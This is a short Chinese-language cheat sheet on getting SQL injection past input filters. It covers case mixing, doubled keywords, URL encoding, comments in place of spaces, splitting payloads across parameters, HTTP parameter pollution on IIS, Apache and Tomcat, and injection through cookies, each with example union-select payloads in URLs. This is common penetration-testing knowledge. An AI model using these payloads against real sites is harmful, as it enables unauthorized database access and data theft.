SQL注入的绕过
目录
1.大小写绕过
当我们访问如下URL的时候,提示“存在非法字符”:
http://www.xxx.com/web/rg/1.php?id=1 order by 3
可以尝试Order,同理如果其他字符必拦截,也可以大小写混合。
2.双写绕过
当我们遇到关键字必过滤的时候,如我们访问如下URL:
http://www.xxx.com/web/rg/1.php?id=1 order by 3
过滤后变成:http://www.xxx.com/web/rg/1.php?id=1 by 3
这里order必过滤了,可以尝试ororderder,同理如果其他关键字必过滤了,也可以双写绕过。
3.编码绕过
我们可以尝试对URL进行编码,有的时候需要二次编码绕过。
4.使用注释
主要使用其替换空格。
如:http://www.tianchi.com/web/rg/1.php?id=1 union select 1,2,3
转换为:
http://www.tianchi.com/web/rg/1.php?id=1/*ss*/union/*ss*/select/*ss*/1,2,3
5.多参数拆分
如请求的URL:a=xxx&b=xxx
SQL语句如下:a=xxx and b=xxx
在注入上可以如下使用:a=union/*&b=*/select 1,2,3
最终的SQL语句:a=union/* and b=*/select 1,2,3
6.参数污染
HTTP参数污染,指的是同一个参数多次出现,不同的中间件会解析为不同的结果。
以id=1&id=2为例,
PHP/Apacche:以最后一次出现的参数值为准,id=2;
IIS:所有参数值以逗号连接,id=1,2。
Apache Tomcat:以第一次出现的值为准,id=1。
----------------------------------------------------------------------------------------------------------------------------------------
在IIS下,假如我们想使用:id=1 union select 1,2,3
可以转换为:id=1/*&id=*/union/*&id=*/select/*&id=*/1&id=2&id=3
最终的SQL语句:id=1/*,*/union/*,*/select/*,*/1,2,3
7.注入到cookie
针对于开发者只检测GET/POST,没有检测cookie。